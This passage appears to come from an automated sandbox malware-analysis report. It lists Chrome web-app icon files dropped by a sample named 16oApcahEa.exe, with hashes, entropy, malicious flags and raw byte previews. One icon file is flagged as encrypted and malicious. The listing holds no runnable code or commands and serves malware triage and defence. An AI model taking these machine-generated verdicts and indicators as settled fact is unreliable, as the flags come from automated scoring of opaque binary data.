.Ym..7.0.,.....d...P1.)P4..c..f...#...WP..,.......\|.)....^V..M>U&.s......s$...;...........,....\.........{......4....,...))....z.2..;..y..%...j.......<.....`..!.@..E..H....eS.....d.:..7...'X...pG.]p........\<.[..J..vz\|.T^.C..C.h.mMB<;..`...L.$....kWuu.\..1..E^V.iL......h6....!..=....k.b.A.\|..4\\.gf...d.-...s.....$..>..:..r.).,...l\W..LM......E..t..g.....b.kq.-...E.kM.q.:......>....>....N.......@.N....A....21.......:%'or......l.p..~....S.......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	25673
Entropy (8bit):	7.9921671951428905
Encrypted:	true
SSDEEP:	768:sMxZq/giV147unxIQYMJ6fbO2iveMAwF7s:sMxZYgiV64SlMOO20eMfds
MD5:	D032AC2F5D0E2F2C1784EC7C350E6421
SHA1:	D9ACAA957F9BFD561CD4733143158C591BEAFFD2
SHA-256:	E241A9C4D8AA519E635A7EA8B8C842D35F1718CF28E107CE2D7D201E68CF1393
SHA-512:	7247D8AEEBB9EC6182D220833AA7423B0D62FDF1221619F9EFC281F0AC329919AEF7926224853CA6F1E1774CCCF71F2F8D69D64D683E3F65356C8DD2FF7C5C0B
Malicious:	true
Preview:	.PNG....0..'..ix.....IA0.......x...V.`.X....d.la._............of....../..2[......1...=#.>..?.....-..%(..._..p..f.E..:....q...u..MVe..s....ov.Z.)..6`Q_....&..z...l .].+Oq..G>.D.l..vj.V&5u.RR.gj+qD.T...PW^.c.0..%aK".R..T...`.atS.."Fe..>z.\|.....S...s.w..o..xa+.Qey..0.%...p$.uO(I...n.=...g.M.._....di..P._.L..YZ3h.......H...s0..GI..4@:....t..C._..y~]Z.qm.2(......T....n~7..~.]..f.a..A~.F..)^..]_.._:....!r...5........-2.]D...oJ.N.%X.4...!\|B...".Fac\3Nc.Fh....<..sz....m...;.A..E...z\|\|..Q...s..j....N'..."o"$...I(.+5..Y`\|.j......ew.^.........4]F..R..x...".....l.#..h...B..F........o.......{..q0.DN.....[o.....P....d10.-.m.T.Z..Yh;f.....r.....w..[Y.R......r~....v^@.+.`.y.h6.......\|._Qj.uU....b...K..`..,/....+.mY....o\|]U.q....0.Y)y...B2~..F.....T..w...}T.Kk..L..O2v.k.+.$v.....I....Y4..E.(%r..].r......../..u..M.x........dUU...>.Z"}.h....H;#_..2#4.H.G...8.H..V.MGK..[BT......0c/..D.3Dz.k&...g=......9T...>H&Af;.x.M.o......ZsPX.......Y.4..nU.,...r....I.....t...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.875143505157664
Encrypted:	false
SSDEEP:	48:VYZ+A4O3sA/Qh9fb6+kzenbh0z+S0GKZvpRJD:VYH4CsA86Ynbhevg
MD5:	6C00C19F1E5502080FED4CBB8D8B175E
SHA1:	84952626F71AF50AA6E47FD05FC41F30F0A5EE3F
SHA-256:	FE99C15781797BF11CAB634A1D160B20B6A263F301F4AEA2DF9B9BF1DF9B593E
SHA-512:	4D7DDB11942B160570982745AFD9ABA64639267C7CC48665DBAA26D1B1524EA772C1AFF545A81D569C2537F947FA3EBD60B6980587416EBD2F3F0DA0750BFDBD
Malicious:	false
Preview:	.PNG.....?pG.......P..>MS.hI...\..?...jG.6.t..P..x.......C.]...5-\...........m.1.._...%.j..u.S.....gU....~....F...M...c.k.7.........b.....mB...=i%,..._..'..T..~4sn..Qa:,w.v...S..h...L.XK.gQ.....S-..d.....E{..Rmh.X.Z...(....y.:r..yz......m4...#..Zg.1..[yd.N4. .}...9.U.m...\|......XyJ...i.z..Dc....]`.AQ.P...g....a..A.F.y.A.FO... .0...B#...y..g:.....w>..NGn....Ep.3bh.(<.Xe.1......Y.y...o.b.]b'....].u.B.H....Kb..K.."...H...<f....7..~...N..'..j..imX..W.......K0....`...S.'Oc/....k.....!.[...Y\|........,......g.....t.w.hc.^`X....N'....m../.B....J... ..g..R..t}.}.I.v...N.c.L.V..y...H......N2..]..%.Aq....H41.\,.N...M..j..&H.(V.X3..S..W...l....H[.DV..-h...Mv"AA.ce..S.K...p.j.o.8...A....Q.p.i-U.L..B..x...C.....\|o&.i._.../N.U1v..e...j.....E.j...WG....G~...,..-..zA..6.=.{........},.(...6[.h@$..d..\p..K....Y4..!.g.g..n.S....&J..L..i.....[.6...@W.v..(b.X...q[.7........WF5....r...c.6....f..)Mf.a0..B...!......D.....W..1u.(~.HM.e........w.E..........J2(.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	7.9320914633191375
Encrypted:	false
SSDEEP:	48:A8Xpg06mpiLY3PhZYH+rG08R3HwW0odRGaFv+Dz5zCOs558MUd8EEzB7I1tfhubB:A8XGFmpuY3kerCR3Qlk2Dz5zI5587eE6
MD5:	2C3B092868B53D26AD8E02F5AA847F22
SHA1:	4BAF5AC1790C85C72DFA0C97FD3B709838830AD3
SHA-256:	755BD5F2E6676643277B305F693E02FD3F55627571957EB7CDA9914CB4B5B7EF
SHA-512:	4A4B1C094812A481EC46CC483223941239B3D961633460008180CB74ECCE1BF1C7453BA2FBA6DC711974EF924157E4A3056D5CD51BE8A8822A3159AC19FF7F45
Malicious:	false
Preview:	.PNG...}..3.5EyB.T...U#.0K.;5.....2..........v4'j=...w.GT...Uc.Y...>.. .c.!....\|.....L.^.jz.W2Z.\|..I..<.3PDXcy....S.._..N-+y8.d..{./N....Q.?.~.....!...;.+.\|.H3w..L.<....qg....b..f.?.mp.>.:G.<....j6....#.....Z..?.4.....A.P.......A.....0.6.../VoG.O.N....\|GR..MY.....h..V...p..(..\|_e..c...2$. 9.x..@!.R.w...Y...qN..s.g.k..m0..O.G^..)....l<.}:=..:Q.L..H?..vt.4.......5..=...[..}....".!L).NEn.-...&..C~/v.}D..P$.+...Z<}.....F.=.YV.>r..MJmyD.....U.t..+$.!.Z.......\[sB\...N%2...7.<.Rm.z..'.:...?.....Ny.{d..G.....n[..d.yyQ._.C.h.p.-...\~...O#u....n.$I...u.).......O./k..)[.2l..N6...9&..X...^...F<a.. ...ck@;$.Z.o3...6...b.!.....M."....0..}`me.o...\|......<....[<l......{7..a."..v..>Z..N]......5.jP.}.x..>.:..l...=.....;T.I..w.!...~a......Hm...Xt..ZG.}q..n`C...2.vU...&../.}...nL.di.TI...I..;...Y;.D.3@FH+.l...0!......*>;.l.~.p.2..u...K.y]..0u.8..]........D.`.()..j.2(T...q.^.y,...(....`4...U.R.Rr..i...k.5.r...@..}..In.kP.:.`..j...&...?........3......:...._...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4111
Entropy (8bit):	7.957136422021631
Encrypted:	false
SSDEEP:	96:NDheddXJZmqblNzuqYlc2MicJ/uZ3ZZvX/:udd5ZHT6ZNMi3Zf/
MD5:	72935DFD54908D366BA71C16684D6945
SHA1:	D9E9F33288C81A32BC5F4AED0606AE7669C8235E
SHA-256:	DAB5E356003309220C359DE564DDF94CAF9130BD3265B9D7372BFAF26428B36B
SHA-512:	4B9DCBF8C25C576B9D787E5A85BED6171107F8BE024001CC1BF938884552C5678A3A39F6835E86B80043D7008D674E55AC8A3CB0EF82A9619787F5DDDC089025
Malicious:	false
Preview:	.PNG.d..Gm.4...Z.l..].........n...V....0!..\.b.?~......~.Q[..c....t`M..tR..)G&L.O_.d.......C%+. .2.&8.@..qx.Nh..c%S.dE..n...T.....[.Y...U..V........Y.M...]f.3..W.F3...-.v..B..^ ......h.e....5....-...xI..Y....EJ..d...Z..h...l..$tv\|.......~E........-...M...I.[O..........pLC.....=.f...q$oz\('.-z...AP..-..;.D...%.S.V2...a...R4...H...(...d..ue..B..YK..A4zh.X.V..8.rkio.\..(..4....P.'.k\.B5...=...F....44.......'f...3....G. #.$y..(..i......sIE..K.<..W...{....A..B.".9.G..E.RD..3.C../..c.u...X.VE...P.g..w<.Q$;.]g........=.<..U..+t...2_Z)... ..]........\m..3.\|0.<D...y.Fa........p...Y...5..qx...........o..5K.C:..."\q.U.QhC..:..y9.C$.....%..P.({f%.E.4h.Ke...aB.[.5....z..\|a.0...n.wp<j.TfM.L.....u..?]Yy&.-o.sgv...vxK8.h6e#^..N.zy......U).y......8...T..~>...fc..X..w....t..?.v..S.Sm:.T".(.F....z.Cp..}.D.3....D..iX:L..<..Z...swo.a.P..3.oE.Q.2I.k...8R..g.!.?.H.E]..,.fyD..v..=.e#...<G..i.\|\..;.,:....C<E-R67.VWlF..zw.o.c...\|..>.^.......vy.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7049
Entropy (8bit):	7.972490508739664
Encrypted:	false
SSDEEP:	96:TJJdDUo2zg9EQgm/dogNREUJoSD3AdNSsTSYeTKeFuohUkfYlFM3AYqzjIewZa4s:tJaoyigmVoj8Q6sTu+elYli32PF4pMh
MD5:	37DF5155F4222561C565AB97FA7ADF79
SHA1:	53C5157B12581F81D8E7214CD83EEB9A35A1DB95
SHA-256:	1952B5E489526502AD8DC12A9EFFE8BD8B5C28F7AE0489021AE5BF310AD21E4C
SHA-512:	6289FA7AD8E2E093FB0E527EF4350DC539DEA323D80F57750C6670644028E07B25549611EB5D26EAE0D1581CBE4C04C40D18E15C5461D97C01B1106BF894C5EF
Malicious:	false
Preview:	.PNG.~..l.AW...n......fB.......M....8...j2.M...%#k.'.I...].$........".J\.........Pizc.[.).>2eI\|.Q:..9#...2.k`W...=..%._}.J+.......,{~..~<l..n...;...........3..U%).P..s./.Q....!..h#.A."f...A.'..t.O.......aH.9.....V..Q.8E..g;.......(.....@2.&_2.H....[N,U.n.........J..'.,oy.G.W.g_gH.FY..'.t=.\|]K....m..i.;!H.."4uzxj..O.+.h.[.v.w.....6.a...ri..r.@.......L.<...G.4.z....Z.zK.?\>....... ..g.PN!.K.Y=.u.D....9...R.a...U..P.0...Sf..v.w..a..K....."....q.m_f..A.......D. ..$.....g....1....jQ..........\|NkQ6..].SH....w.S......6.b...:......)m...@..K.....0j....lA~..2...... 4.. ..l.A..L....K.i!.... q...1...s..........K..=...f..k.#h...D3.C.zY.Se..@.-.W...i<..g...$.....=..r`<,.9..d.+..v.~U!/\|Uh.w."W..<....3...........b.J.n....l...T.S.r...2...7G\|..y....+.\|..M.J..'.BY...8..).`yQh.H8.O..,_.....M...3QS......&..me...{..,..p5...[.....i..K4.....^.H\|...9...R"Q....=3/..:K..../M..^..x..#t...R.$...k.3b)..qX......@..O.v...wZ.`..G..a_y..6'.O..XI...s..L[.UT....C2.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2642
Entropy (8bit):	7.920905666294263
Encrypted:	false
SSDEEP:	48:jfruAIJkzIIGisslWgNJcwvLjRrGzH4/sbCcr83ErP+lAlvXJD:jDu/k8DjgNJ3XdOA2C3K2lOvR
MD5:	D42D763F64A1A3D41589579E88E83AB4
SHA1:	F12DF9529B1CCCB47A956746C60718E6C5D67210
SHA-256:	84F1654AD35BA59EC1B58666D00F10F6C6B2FD8B9D5BE54B6CDD5573ABC0C4F7
SHA-512:	592FF6016783BD703D6BE5730E03948840E357DDA92674CD4B91C1E31919D549477270B47FA4165F26DFF99EF433CEA35F166885A4AA76D138144AE2487950F2
Malicious:	false
Preview:	.PNG....S...k>..n..PK..9....&...`T..K...7.H....`f....a.<....t.{.3...'P..s.>...B..R.. ....C.lh....(P.......K+..^.....nD&f......_GS.p.x...'.......}..c..N...C....r.wO.....d.5uB..-6..2!i...9.P7.xJ <....>.. $..-....B.+.kuz.....f.e.6.E...G..&\.3lq.c.S.a)..ajV.8.....9..-q.e(8SA..$_YCI.j..1wb.....%_...;](?pm......".q9..a...yu-....%Y!(1t.$x)....:...t.O.\|L`^;F..$.1L.T2..+.Xa.ID...&.....$H.c.1O.-.Hm.....ZdZ.7..s.......Z>..;VS..'..y<..X..p2.N.......B.....t..\|)....#.{.......Q...\|/6...;.a-...74.]E^..W,).>.<..e....$@.B....B..O.+.}5U.)0. .).H.}..y.v#....1...s.6.Q...b.o....9D...xR..../..B.....PVP<c....4..S..l.TT5...7..q.rD..+.i=.... $L..,q<W..~(JSn.J..+~..+.E..m{........v.2..}..bms.OHx]..z{.o.....'..k...v..b0p.h...........~..`..................[Ui....n....?.T...X......v......n....K.....K....L..,0H..<."1....j?..K...N.j.yPb.......s....s...e.....y9F....L.v;...D.a7::..c.+.d.M..X......xW.K...0'xHb5.fy............Q.].E$lk.l..E^D=......($...Z$1...RIWw..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1629
Entropy (8bit):	7.893373065591635
Encrypted:	false
SSDEEP:	48:0azzD150uPXWYjkR53ulen4bEpaKwdbtlYY8OHbkCJD:0MzDBPXbkX3ulC4Epa5btldR4k
MD5:	FE91E7415A84950C38084B0B1E6BBE76
SHA1:	1A196F71CDD046A128E55AB673DA8A79C074582C
SHA-256:	67F73AA4DAD773664344BF376554F08B64739A38F6DD1F8BC63A3C68FD136AE5
SHA-512:	33358B35E2BB931DB2D52441B6056BFAD5986C9560130AC3141B33F25B60F0D28A282FB293ED8D2A1C2827E5EC2DFA8E9751AA14F8DF0D8AEF2DB82786C92650
Malicious:	false
Preview:	.PNG...~.......[3...[......0[.`.....(.T......K.-xT...i.k.3..S.#7&6..E.....M..z./W..h....w..!...d....Y.AiF...em....H..y.x.3H..G.5~.teX.....n...GZ..bH...K.b._....Q8..U.mY..].Y.'wpt!../,..:.;.h..5..j..7E.C...u.8..z....#..!.S7$.\7..j.....A5...\"Qo.&<...H.......b..{..05. ..v.^.L..z.D.2....?...8Y.qW...Y9p&.]K.0.s...w94..S..}...%M{...p=>'..Y.$r6....d>.......~.D...".._..".s.......VR..>`.^.X....'.........?.y..NWP.goL....+5...tU.U..z. .....N$..4$=bT...'.[)7.....)d$.Y.mJ.......X",u....6c........v.....4+...Z.."..B2l._.K+,v.'.."u.......8.F.y,..i.\..I....."...<Za.i.....#4..z.%:.t.m.... ...&.n.Z....\|ERbvr...H..-...MM..........ZC..@.6>...:Q..a+.\|._..et..g=<..7.?wz...>.k.._.....j/M.<....HU:..^..._.....(oI....o..)S......LO.7....P....}..\Vr....&r....~r.r....2...8..X.$/c.H.<..W...yTLN.&..;Uc.{.0....+X.jVYg.5F.I..-...=@u..4a#.y&?c...........t.@...x..r.q..8!.&v..s.N...^6.I./.V.j.R...t..8..n.;v.r.6.v.P.+{.*.O.x."..........?....zK...........E....cIh.pQ..mu...I..}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.958179871633814
Encrypted:	false
SSDEEP:	96:SjYi8HdJmHTYhUVqNBGyEra4ArDonqDPz7XGQEPrRuX4JDQtRg3f7/2v3:S8B9Ju0UVqbRT4A/oczHEPrR2t+T0
MD5:	07C5A1D1F70790A709304F5359806C69
SHA1:	727327A529B9B91A5CE0B3A8C4C690CC97FDFAF9
SHA-256:	21ED7BB0FE511E13344FAB286BAE83EBBEC4EE0FFC3B786F456972C206F47180
SHA-512:	71EA9E084C27A87416BAAD9C33D6B7A91D440C1A2F55C6A562CC1DFDF9806B3D942B14FFDB51D370580E314364851751D0C12AEDFAE240F9FC4EDAA4B8ED1192
Malicious:	false
Preview:	.PNG.C.~....n... i...k.o.u....P....H..>.0k..G...F...(..xB...c..b.H.i..&.1..E.\..Sp..u.....6<z.Z4..."6...!..a.kXg3.......>O.{...wF.Bn..g..r=.h..}..G.k.[........l...L...X7P5^>...8....V.d.b..U.?....8H}%..\...........uCN..E.K.^...M.'xQ.z0..f\|@..g.:D..`e\|D.......r.E.V;.w`.43......V\XSY....;Pu;y..E13(5_ .C+.lYb..2..U..>...@...F.w.....b.3(.Ce.a.<1..C.....^.4.@.ry.h.z..8l2..o.Iw.......j.......>.:Y.<7-.>.......h..8...o..b.v.<E..P....]...u...%..{...Q.{s......+.A.}......s..?.9./M.&9w.....".d...W..oD......]aj.#e..'.."GhGk$c7.x...Z.M.9....(V..H.U.5.!..S....P..i.L._..F..U..(.H/w.Z..n.%.\|....-..&..S.....k.?>PVb....O.?.BB.D.5.`.1g.GO{...1^..;....N.u......L....q.I.m-.q8HK....Gi.M.k.kS...4.V...dc..Q..F...'Z....(.E..E{..uH...Q........_@.V/.......Jh...3.9r... ....b.>V2g.\H.s.`......U.?m..W..b......A..+."Nn.:.a..\t.........z..-....."...]...U.A...z.+..o\|C..a..n..!J......5G.p.!.Y...8.s......"<.R..e.I...,.....<.....'.".,.!=G^..*3..U]...9.B....&.h.t.v../

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.862227246203985
Encrypted:	false
SSDEEP:	24:A2/RjOakPfU1NsF8YvKTZKJ7Jd8PG31gsXg9pbD:hKyMhJ6P81YJD
MD5:	62CB57BC0FE1C09F1ED9681B1800EF71
SHA1:	D011878AB04591AF6B6FD77BCEDBCCFCC78FFFEF
SHA-256:	D41E97954FB9730D7987B86FB79FBB8C1BF966E5E4446A102D2D023628C82E36
SHA-512:	A578DA86C711E8F810878810F5790FACD74E10AAA2CACB3E13D0A0845B94E7F2AC110FE0A0AEAD1AA8E2553976256A60F6104EADF53AC0EB9D6B7283DBD1F2C9
Malicious:	false
Preview:	.PNG.2.Lg.........7,.....!y..RKn^........z..,.:?.....B.A...gSQ.\|.uM.-N.Y.V...I..........s...B..@.".&6.2M7.QmT\.=v..T..-.D.1.z..pc.I%j.&.g.{..1.y ..2C.\|.....7]Yg.hlY.....u....1.&..\/..)/.t.7..@g...c.../u.;.MiX.d.....N.R.Q...Xj....v.^.fY...........z...j....w.dO/,.....=.I..`.Y.....q.9(0...ov.Yx.i........j..."c.U.T.(...\.C#..~.....P......+"4...q.....!J......jv7(.......%.......,.!.n5..).0.'w4{{Z.....'...!K..@...K3j.B..._g.M.^....<.tR.}.]q1.gE..k..Kn.Q&Q.}.j.\|>Y..1.\.g.?..]..n.V..h.Q...><...i..n.>kI....#....q.PkS..GX.k....... .....ss.%..s7....<B.%v/......_...........9.......Q...9.`...;...A...;M.a`.).4.9.#.f.zJ..-"e>!O...LM.]"TyH.. .....@.....y.\a......!.:g.r.G...".P4.A5...&....U[.<>......h....^..3.........rJ..,.%....."(.k..\b...V..(..c..1..4...t.C.........(..O$.&..f.J...A.r3..o-d..........a....@B............C....%...@........M..Ob.m....&{.R..;n.../X[Xs^r).........G..Y..I..uug.j.F.Mw.P..?,....{... .\..{eF.....d1L..^.-`Z..L=.g3h.P.t..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.871707485877455
Encrypted:	false
SSDEEP:	48:pNjgnEtBDiZMduqRi1pe+mb2SQO/TtwJD:pNjyEtBlJyw+42S/C
MD5:	3391F9CB75D4E77CD6D661E8B4CA9201
SHA1:	E6BC1083ADE8990396A269E69675377DA6F55166
SHA-256:	572DC4D5984BBEE250DC3E7AF7E0E6440E8325D99C18B92C8FFD47F1DFC71EE3
SHA-512:	C4A34604A97AD0F9A03CA56B02A5279D28141CC87873EA9BEF378F6EEA877FCFC8A462E7BDF9C348C17CF9F71DEB0227F99B022108CC9A47093743527AE5D41D
Malicious:	false
Preview:	.PNG.k.....u.:..)-x.E.y.sh.h,..0.x.m<TG..(.e".V.....r..nWO..4...\.....~..M....i.I.Lq.$.0Bq...+..e..c.+{k.g!.Y...8.5..[...k..e.........H...Q....\..........-....8.Y.......j..w;...)uK.....qSY.R..Z.U..../.A`W.y.m.....%.4py....@...k...SM...]....\...m+NT{./9..\|......+<.....M.D...).3..O..w.rbs....O.lI...-..9]c.O......A..[..*P.C+..U./.....B.2....4..c..._... .[.>.rm.C5..z..n%..Sc...V..o.51..a..<L..\|..Cb.M<.6.....g..u.8Y......B".......2..W@.br.x.... ,u\>.uP....;t.b..~9g?yU.B.....[...e.f.0...N..CJ6...i.wdN...0.Q..As1n"s6C.~SB0.\G.....A.f.o....k......9......=.J`F..YF....K.r.,Y.C8..cK..b.H...,.61V)n.$...Ca.i...M...1.........cLNV..#_>.b..D..j+c..=...(.=@D.m.[...p\.....aO.6.63.M..>06..c..cR..Do..E..,bh\|..W`......f.y..f..F9d..@Z..y...&.9...NE.f.=..8...r..A.vj.%........#O..w.[X....WA../..{.i....3.{J...J..A....4.t3......yv.......o..(...+.......2.m.....m."....&./.$.V\,..a.Ax._.<.or...N....-Z..I...XF.w.K.i.6...bq....Ya.0.[.. ........GsHV....14o:..#..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	7.8957594701995415
Encrypted:	false
SSDEEP:	48:Pa+7yrq/0Tax1VOdxfb2ViR1t8phUJ9UOO76HZJD:17MqLxH6hbAgtqhm9XfL
MD5:	CD7038C4BFB297BFA84A9EF7DDBE4A0E
SHA1:	BBEFD2BF3C050EC987EFCBEB8B98F714F6F47922
SHA-256:	0F013A4C667AE9203CEE02A0E77846347DDC9D812E282A05BD263EFDDE6A1BB8
SHA-512:	163549987577AD576C2545443A1483B6D9AA3B38FB3B411D4E1C813802670376836B08CDFC3CB3EE96FC4D49F677A15F29C8EC7FF0848EDED8A1FD59B85F3992
Malicious:	false
Preview:	.PNG.....).S.f'....Io^S.$.l..[=.G:b.........d...[..0Y+w..C..?.!.....#....JC"<...$sb\|..h......,.......[$Fp.^............V.E.....am.g...eC.(..........F^Kk.>.,.]o..6..w.....E\.l.1.]3...VEF8P..tK..!.w.X%QP...Q....YJ.Z..@`...\|..8{z.......Rk&..#..Q..E..........R~h8..g...2. ..t..y.....J.b.p...L.j.0Dg.dG.&..a.k...&2.........)..Avf.......t]....Z..~.m.f...jz....g\|(sw._b.x......s.....ex .z....`T5>.)..,.....5J.....Gbs.YVcaRze..8.3..k....7.IP.z.}m.XA.J~..^&z.4.......r.. .....'.QFf'~...R.......T.....@...f.......q...>..8}&..EG.S.$....H."QZ.j.o..B..0v2.....h...Y.e.N'..{..u....r..;..u.V.W.I{.....i......350.x.....K....I...[.~J...%.....#r\.H....?.8....5R..Fl.)X..sl..L.@......\w....&..V{5Ut..W.. ..?....A.k..D...9b...J..RV..:.Xw^..~..C.;...^..y.v}..9BXY..r..ZF0..q.l.3U.._*..6.).....;.f.m.....yGm....ce....%.(.!7q..8......m)h..bkSy].../.kP...EV1..#...`K......d...#{.W..9..uj....\.........]Dk.3rm.;..a..nfI.1..x.........LN.W..,..M/N..TC..X..7A.3l.l...y....'V.5.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.913555380202307
Encrypted:	false
SSDEEP:	48:2NJ+shbguzYi1oY+nGIBUQ/Zl0JjMkSoperRT9fEaNQm1zJD:2NJH/zoBdBUIlSvSoperRT9f7Q4
MD5:	FB1ED563311133C5A5E4F129101C8E16
SHA1:	F3CD481DCC3E882CDEE8055A13716E7B15D6A241
SHA-256:	100DEA6DA4E6E450D523BCCA7CAC568EB3EE7A98808648B878F604AF9C48BD2D
SHA-512:	25EDD0DA07EC73E67CC10B631D5BC9909ED417780532EB9BFCAF48193343F191744C972C321F8F11C550DF3D913BBD1D5B816538500353CAE8FBDF65E533D062
Malicious:	false
Preview:	.PNG...!..r.!2.o..G..{..g.[..W..[bbZ..s."..m.......(.m.->.p $e.,sL.. .43ah. ..Iv...h...a..1y&..<.U.N.5..6IV....0.p.."4+..a.8..f.(G......+"....w8.{Kg.../.<\|....0.h..AX.B.....d....1.lQ........>].N9.....gc.b2.....}7K{.ay.7=....jz..........A..(.W.....b.\..PQ\.......$......3..].7.C.Gk.....^..M..^(9...qr@.E...../N.q.....mX..`C..".....u..k....bB.. .S'.m.-.\|..~............d...fq.\.&...}....D.....2./..D.)I@..J.....h.Z3....h.9...~l..k{.]x...M.....jx........o.5L...KZ..50..&.&'\|./.......k.%...g&..auR).C..:.akgQ......N...C...1.........b........7<......:.....2..@.d.o..]f.?[.1....0] ......f....iU.~...L~....=....r..6.{/fM....+..d.j..:/....'.....cF\...[...Q..Q.k..........RM..<.s........).l-..h@.."E..#..@!....@...s...}......v..q=<.....L&#.o.W) ..._b.w<.#.m....L...WY..._../.rvP0TI...F;..S......U.'[j.........l.....9.E.../......S...k..+`,.%..c..\|6H@.>......o..MF.a._......F.N...:N~...l.......;....D...q8........%..<.0.D].cT$.}.....z...j,..f.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5710
Entropy (8bit):	7.967230800416203
Encrypted:	false
SSDEEP:	96:S1Kqd4pzXsT5keymYLOo1Acy5dEy7t3nCQw7hGwQmGLD1TF3dHqlYSCakTOUKoS:9FpXc53FSAcy5dEoeIdNTldsYSAOUdS
MD5:	1C1C07EF3B4FAE54014349470197C27E
SHA1:	80BEFC10264F52D61E98F5332DC2C4EEE35CB352
SHA-256:	EB62BBB3E2FC9C40D614694A4C52D8CC01BF0A03FF5EEC982D879450DE0558EF
SHA-512:	C34903C78C6E821D79D2D4E5979032B3D5D38C4DE1F762C4E828A03A1C78636B54535BBB133BAE11A49B1F5078CDD6D9D9CC186F0B50199FBC929C9AB34D5F8C
Malicious:	false
Preview:	.PNG....Fk....T.?L.....NzT.R=k......?...8Q.;Mw.h.Io.G-yrxP...?..TF..d[.M.\D...g.;.e....yr.{.F...i.2(..X4......t.}yznE...&r.LY0'&.t...L.J....Q.Sz.0......l2..SO(.....R...8+j.\|L......K.G&'..!..)pX...8.V..H..].......^..rC.... .1M.T....v....9.WoJ.......p........O.4..K.o+.8.b....y{\|.B.X2'..E2._..spn./......XWB..8x........R.({...`b.n.~.[...^..x.......}..NM7...B.....\.9/..N....i$k..../...-..$.........W.AD+..;..av.#.....~X..x........1s..Vi.7..~k.t.rB:(@. fX{...N.....4..%H.>.&.w...P.f..Nq.........>.H+....j^......(...2t..\.\..7Y.....-.iS..t..O.f>FNAup{#..v.....\m...R..uv..W.Df.u.\|.......d"^.x.....:..Z.'.........K.8........(q..2T.o..M............]LY....e>...._D...eM..-MY.7.vQ.......J.w..g......{."....MsA?..,o.9..@...(a.....O..F.O..._.K]^..'..y./.[_.+....%...hq..f0h.....=w\|.b..._.T....c..@..{.&.y7\|g.WL-.j.M...Q....M....FT..$..........~P..].j.<..0Q.....x.....}...S...}G.......8..'.e..@...z.h...#.......#..N%O.. .d+H>3h..{_C..Cz.....G.oX..r

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3253
Entropy (8bit):	7.935035437787682
Encrypted:	false
SSDEEP:	96:bcQSRaSfTacBbn/f9RHOt4A9HCZYQRXpU9cnlo+Skw1uzT:bcf/fTaC/f9J+LHOXp1nl21uX
MD5:	5E1B725B10CDB1467A355986C8A3F856
SHA1:	C5E8BA01C200CC7F24271F7DB9C267E4CF5D55FC
SHA-256:	CE564CC37888773B55E11F71B13518E41E0326C232DF37B9F43DE16457753917
SHA-512:	1F78CF5093C89C42EAEDDE505B30671B7D19485C6838619C3B73CD9A07019BB7EB8406E3B40603ED6375973D14B865961D7BD0E7739300A54C8A79E174BCC9CB
Malicious:	false
